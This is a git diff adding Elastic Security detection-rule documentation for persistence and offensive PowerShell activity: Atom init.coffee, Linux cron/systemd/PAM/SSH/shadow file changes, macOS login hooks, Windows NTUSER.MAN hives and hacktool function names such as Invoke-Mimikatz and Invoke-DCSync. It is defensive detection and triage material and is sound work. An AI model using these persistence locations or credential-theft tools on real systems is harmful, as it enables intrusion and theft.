+- System maintenance or administrative tasks performed by non-root users that involve changes to the init.coffee file might be flagged. Consider adding exceptions for these specific maintenance activities if they are routine and verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code. +- Review the contents of the `init.coffee` file to identify and document any unauthorized or suspicious code modifications. +- Remove any malicious code found in the `init.coffee` file and restore it to a known good state, either by reverting to a backup or by manually cleaning the file. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Change the credentials of the user account associated with the modified `init.coffee` file to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement monitoring for future unauthorized changes to the `init.coffee` file and similar persistence mechanisms, enhancing detection capabilities to quickly identify and respond to similar threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Users/*/.atom/init.coffee" and + not process.name like ("Atom", "xpcproxy") and + not user.name == "root" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-file-modification.asciidoc new file mode 100644 index 0000000000..1ab27c3532 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-file-modification.asciidoc @@ -0,0 +1,360 @@ +[[prebuilt-rule-8-19-20-potential-persistence-via-file-modification]] +=== Potential Persistence via File Modification + +This rule leverages the File Integrity Monitoring (FIM) integration to detect file modifications of files that are commonly used for persistence on Linux systems. The rule detects modifications to files that are commonly used for cron jobs, systemd services, message-of-the-day (MOTD), SSH configurations, shell configurations, runtime control, init daemon, passwd/sudoers/shadow files, Systemd udevd, and XDG/KDE autostart entries. To leverage this rule, the paths specified in the query need to be added to the FIM policy in the Elastic Security app. + +*Rule type*: eql + +*Rule indices*: + +* logs-fim.event-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms +* https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms +* https://www.elastic.co/security-labs/approaching-the-summit-on-persistence +* https://www.elastic.co/security-labs/the-grand-finale-on-linux-persistence +* https://slayer0x.github.io/awscli/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: File Integrity Monitoring +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via File Modification* + + +File Integrity Monitoring (FIM) is crucial for detecting unauthorized changes to critical files, often targeted by adversaries for persistence. Attackers may modify cron jobs, systemd services, or shell configurations to maintain access or escalate privileges. The detection rule monitors these files for updates, flagging potential persistence attempts by identifying suspicious modifications outside normal operations. + + +*Possible investigation steps* + + +- Review the file path from the alert to determine which specific file was modified and assess its role in the system, focusing on paths commonly used for persistence such as cron jobs, systemd services, or shell configurations. +- Check the timestamp of the modification event to correlate it with any known legitimate changes or scheduled maintenance activities, ensuring the modification was not part of normal operations. +- Investigate the user or process responsible for the modification by examining the associated user ID or process ID, and verify if the user or process has legitimate reasons to alter the file. +- Analyze recent login and session activity for the user or process involved in the modification to identify any unusual patterns or unauthorized access attempts. +- Cross-reference the modification event with other security logs or alerts to identify any related suspicious activities, such as privilege escalation attempts or unauthorized access to sensitive files. +- If the modified file is a configuration file, review its contents for any unauthorized or suspicious entries that could indicate persistence mechanisms, such as new cron jobs or altered systemd service configurations. + + +*False positive analysis* + + +- Routine system updates or package installations may modify files monitored by the rule, such as those in /etc/cron.d or /etc/systemd/system. To manage these, consider excluding specific file paths or extensions like dpkg-new and dpkg-remove during known maintenance windows. +- User-specific configuration changes, such as updates to shell profiles in /home/*/.bashrc, can trigger alerts. Implement exceptions for user directories where frequent legitimate changes occur, ensuring these are well-documented and reviewed regularly. +- Automated scripts or management tools that update system configurations, like /etc/ssh/sshd_config, can cause false positives. Identify these tools and create exceptions for their expected file modification patterns. +- Temporary files created during system operations, such as /var/spool/cron/crontabs/tmp.*, may be flagged. Exclude these temporary paths to reduce noise while maintaining security oversight. +- Regular updates to known_hosts files in /home/*/.ssh/known_hosts can be mistaken for suspicious activity. Exclude these files from monitoring to prevent unnecessary alerts while ensuring SSH configurations are still monitored. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Review the specific file modifications flagged by the alert to determine if they are unauthorized or malicious. Restore any altered files to their last known good state using backups or system snapshots. +- Change all passwords and SSH keys associated with the affected system to prevent unauthorized access using compromised credentials. +- Conduct a thorough scan of the system for additional indicators of compromise, such as unauthorized user accounts or unexpected running processes, and remove any malicious artifacts found. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring on the affected system and similar systems to detect any further unauthorized file modifications or suspicious activities. +- Review and update access controls and permissions on critical files and directories to minimize the risk of unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from the Elastic File Integrity Monitoring (FIM) integration. + + +*Elastic FIM Integration Setup* + +To configure the Elastic FIM integration, follow these steps: + +1. Install and configure the Elastic Agent on your Linux system. You can refer to the https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html[Elastic Agent documentation] for detailed instructions. +2. Once the Elastic Agent is installed, navigate to the Elastic Security app in Kibana. +3. In the Kibana home page, click on "Integrations" in the left sidebar. +4. Search for "File Integrity Monitoring" in the search bar and select the integration. +5. Provide a name and optional description for the integration. +6. Select the appropriate agent policy for your Linux system or create a new one. +7. Configure the FIM policy by specifying the paths that you want to monitor for file modifications. You can use the same paths mentioned in the `query` field of the rule. Note that FIM does not accept wildcards in the paths, so you need to specify the exact paths you want to monitor. +8. Save the configuration and the Elastic Agent will start monitoring the specified paths for file modifications. + +For more details on configuring the Elastic FIM integration, you can refer to the https://docs.elastic.co/integrations/fim[Elastic FIM documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.dataset == "fim.event" and event.action == "updated" and +file.path : ( + // cron, anacron & at + "/etc/cron.d/*", "/etc/cron.daily/*", "/etc/cron.hourly/*", "/etc/cron.monthly/*", + "/etc/cron.weekly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", "/etc/cron.allow", + "/etc/cron.deny", "/var/spool/anacron/*", "/var/spool/cron/atjobs/*", + + // systemd services & timers + "/etc/systemd/system/*", "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", + "/usr/lib/systemd/system/*", "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*", + + // LD_PRELOAD + "/etc/ld.so.preload", "/etc/ld.so.conf.d/*", "/etc/ld.so.conf", + + // Dynamic linker + "/lib/ld-linux*.so*", "/lib64/ld-linux*.so*", "/usr/lib/ld-linux*.so*", "/usr/lib64/ld-linux*.so*", + + // message-of-the-day (MOTD) + "/etc/update-motd.d/*", + + // SSH + "/home/*/.ssh/*", "/root/.ssh/*", "/etc/ssh/*", + + // system-wide shell configurations + "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc", "/etc/zsh/*", "/etc/csh.cshrc", + "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc", + + // root and user shell configurations + "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login", "/home/*/.bash_logout", + "/root/.profile", "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout", + "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc", + "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc", "/root/.login", "/root/.logout", + "/home/*/.config/fish/config.fish", "/root/.config/fish/config.fish", + "/home/*/.kshrc", "/root/.kshrc", + + // Alias files + "/home/*/.bash_aliases", "/root/.bash_aliases", "/home/*/.zsh_aliases", "/root/.zsh_aliases", + "/home/*/.aws/cli/alias", "/root/.aws/cli/alias", + + // runtime control + "/etc/rc.common", "/etc/rc.local", + + // System V init/Upstart + "/etc/init.d/*", "/etc/init/*", + + // passwd/sudoers/shadow + "/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/sudoers.d/*", + + // Systemd udevd + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*", "/usr/local/lib/udev/rules.d/*", + + // XDG/KDE autostart entries + "/home/*/.config/autostart/*", "/root/.config/autostart/*", "/etc/xdg/autostart/*", "/usr/share/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + + // LKM configuration files + "/etc/modules", "/etc/modprobe.d/*", "/usr/lib/modprobe.d/*", "/etc/modules-load.d/*", + "/run/modules-load.d/*", "/usr/local/lib/modules-load.d/*", "/usr/lib/modules-load.d/*", + + // PAM modules & configuration files + "/lib/security/*", "/lib64/security/*", "/usr/lib/security/*", "/usr/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/etc/pam.d/*", "/etc/security/pam_*", "/etc/pam.conf", + + // Polkit Rule files + "/etc/polkit-1/rules.d/*", "/usr/share/polkit-1/rules.d/*", + + // Polkit pkla files + "/etc/polkit-1/localauthority/*", "/var/lib/polkit-1/localauthority/*", + + // Polkit Action files + "/usr/share/polkit-1/actions/*", + + // Polkit Legacy paths + "/lib/polkit-1/rules.d/*", "/lib64/polkit-1/rules.d/*", "/var/lib/polkit-1/rules.d/*", + + // NetworkManager + "/etc/NetworkManager/dispatcher.d/*", + + // D-bus Service files + "/usr/share/dbus-1/system-services/*", "/etc/dbus-1/system.d/*", + "/lib/dbus-1/system-services/*", "/run/dbus/system.d/*", + "/home/*/.local/share/dbus-1/services/*", "/home/*/.dbus/session-bus/*", + "/usr/share/dbus-1/services/*", "/etc/dbus-1/session.d/*", + + // GRUB + "/etc/default/grub.d/*", "/etc/default/grub", "/etc/grub.d/*", "/boot/grub2/grub.cfg", + "/boot/grub/grub.cfg", "/boot/efi/EFI/*/grub.cfg", "/etc/sysconfig/grub", + + // Dracut + "/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*", + + // Misc. + "/etc/shells" + +) and not ( + file.path : ( + "/var/spool/cron/crontabs/tmp.*", "/run/udev/rules.d/*rules.*", "/home/*/.ssh/known_hosts.*", "/root/.ssh/known_hosts.*" + ) or + file.extension in ("dpkg-new", "dpkg-remove", "SEQ") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-login-hook.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-login-hook.asciidoc new file mode 100644 index 0000000000..cca3387adc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-login-hook.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-potential-persistence-via-login-hook]] +=== Potential Persistence via Login Hook + +Identifies the creation or modification of the login window property list (plist). Adversaries may modify plist files to run a program during system boot or user login for persistence. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/D00MFist/PersistentJXA/blob/master/LoginScript.js + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. This can be abused to establish or maintain persistence on a compromised system. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:macos and not event.type:"deletion" and + file.name:"com.apple.loginwindow.plist" and + not process.name: (systemmigrationd or DesktopServicesHelper or diskmanagementd or rsync or launchd or cfprefsd or xpcproxy or ManagedClient or MCXCompositor or backupd or "iMazing Profile Editor" or storagekitd or CloneKitService) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Login Hook +** ID: T1037.002 +** Reference URL: https://attack.mitre.org/techniques/T1037/002/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-mandatory-user-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-mandatory-user-profile.asciidoc new file mode 100644 index 0000000000..4ab2dbf38f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-mandatory-user-profile.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-potential-persistence-via-mandatory-user-profile]] +=== Potential Persistence via Mandatory User Profile + +Detects the creation or modification of a mandatory user profile hive (NTUSER.MAN) by an unusual process. Adversaries may abuse Windows mandatory profiles by dropping a malicious NTUSER.MAN file containing pre-populated persistence-related registry keys. On the next user logon, Windows loads the registry hive from NTUSER.MAN, causing embedded persistence mechanisms to activate without directly modifying the live registry. This technique can evade traditional registry-based monitoring and indicate a stealthy persistence attempt. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://deceptiq.com/blog/ntuser-man-registry-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via Mandatory User Profile* + + +Windows supports *mandatory user profiles*, which rely on the `NTUSER.MAN` registry hive instead of the standard `NTUSER.DAT`. When a user logs in, Windows loads registry settings directly from this file. Adversaries can exploit this behavior by crafting or modifying an `NTUSER.MAN` file with embedded persistence mechanisms (for example, `Run` keys, logon scripts, or policy-based execution). Because the registry hive is loaded at logon, this technique may bypass traditional registry modification telemetry and provide stealthy persistence. + +This rule detects the creation or modification of `NTUSER.MAN` files in user profile directories by non-system processes, which is uncommon in legitimate environments. + + +*Possible investigation steps* + + +- Review the process responsible for creating or modifying NTUSER.MAN, focusing on process.name, process.executable, and parent process relationships. Creation or modification by scripting engines, LOLBins, or unsigned binaries is highly suspicious. +- Examine the file path to confirm whether the .MAN profile corresponds to a legitimate mandatory profile or an unexpected user directory. +- Extract and analyze the contents of the NTUSER.MAN file by loading it offline into a registry viewer. Look for persistence-related keys such as: + - Run / RunOnce + - UserInitMprLogonScript + - Policy-based execution keys +- Determine which user account(s) are configured to use the mandatory profile and whether this aligns with expected administrative behavior. +- Correlate the event with preceding file writes, downloads, or process executions** that may have staged the malicious hive. +- Review recent logon activity for users tied to the mandatory profile to identify whether persistence may have already been triggered. +- Check threat intelligence sources for known malware or tooling that abuses mandatory profiles or offline registry hive manipulation. + + +*False positive analysis* + + +- Legitimate enterprise environments may use mandatory profiles in controlled scenarios such as kiosks, training systems, or shared workstations. +- Administrative tools or scripts used during system imaging or profile provisioning may legitimately create NTUSER.MAN files. +- Profile migrations or backup/restore operations could trigger benign modifications. + +Validate whether the modifying process, user, and timing align with known administrative activity before dismissing the alert. + + +*Response and remediation* + + +- Isolate the affected host if malicious persistence is suspected to prevent further execution. +- Prevent further logons for users associated with the suspicious mandatory profile until analysis is complete. +- Remove or replace the malicious NTUSER.MAN file with a known-good version. +- Inspect the loaded registry hive for additional persistence mechanisms and remove any unauthorized entries. +- Conduct a full endpoint scan to identify additional payloads or lateral movement. +- Review endpoint detection coverage to ensure offline registry hive and profile-based persistence** techniques are monitored. +- Escalate confirmed malicious activity to incident response and document findings to improve future detections. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.type in ("creation", "change") and user.id != "S-1-5-18" and + file.name : "NTUSER.MAN" and file.path : "?:\\Users\\*.MAN" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-hacktool-script-by-function-names.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-hacktool-script-by-function-names.asciidoc new file mode 100644 index 0000000000..82e641a795 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-hacktool-script-by-function-names.asciidoc @@ -0,0 +1,476 @@ +[[prebuilt-rule-8-19-20-potential-powershell-hacktool-script-by-function-names]] +=== Potential PowerShell HackTool Script by Function Names + +Detects PowerShell scripts containing function names and helpers from common offensive frameworks and tools used for discovery, credential access, injection, persistence, and exfiltration. Attackers often reuse these public functions with minimal changes, leaving recognizable function-name artifacts. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md +* https://github.com/BC-SECURITY/Empire +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell HackTool Script by Function Names* + + +This rule identifies PowerShell Script Block Logging events where the captured script content includes function names commonly reused by offensive PowerShell toolkits. Script blocks can contain function definitions (tool staging) and/or function invocation (active use). Prioritize determining what capability is present, how the script was introduced, and whether follow-on activity occurred. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to determine intent and urgency: + - Identify the function name(s) present and map them to likely capability. Examples include: + - Credential access: `Invoke-Mimikatz`, `Invoke-Kerberoast`, `Invoke-DCSync`, `Get-GPPPassword`, `Get-LSASecret`. + - Injection or token manipulation: `Invoke-ReflectivePEInjection`, `Create-RemoteThread`, `Inject-RemoteShellcode`, `Invoke-TokenManipulation`. + - Remote execution or lateral movement: `Invoke-PsExec`, `Invoke-SMBExec`, `Invoke-WmiCommand`, `Invoke-PSRemoting`, `Invoke-DCOM`. + - Staging, persistence, or exfiltration: `Invoke-DownloadCradle`, `Add-Persistence`, `HTTP-Backdoor`, `Do-Exfiltration`. + - Determine whether the script block primarily defines functions (tool staging) or calls them (active use). If only definitions are present, look for follow-on script blocks from the same host and user that invoke the functions. + - Capture any embedded targets or indicators visible in the text (other usernames, hostnames, domains, remote paths, URLs, or IP addresses). + +- Reconstruct the complete script when it is split across multiple events: + - Pivot using `host.name` (or `host.id`) and `powershell.file.script_block_id` to collect related script blocks around `@timestamp`. + - Order fragments using `powershell.sequence` and confirm completeness using `powershell.total`. + - Use `powershell.file.script_block_length` as a size signal to distinguish a full toolkit/module from a small launcher or single command. + +- Establish script origin and execution context: + - If `file.path` / `file.name` (and `file.directory`) are present, treat the script as an on-disk artifact. Validate whether its location and naming align with approved scripts and expected administrative workflows for that host and user. + - If file fields are not present, treat the activity as potentially interactive or in-memory. 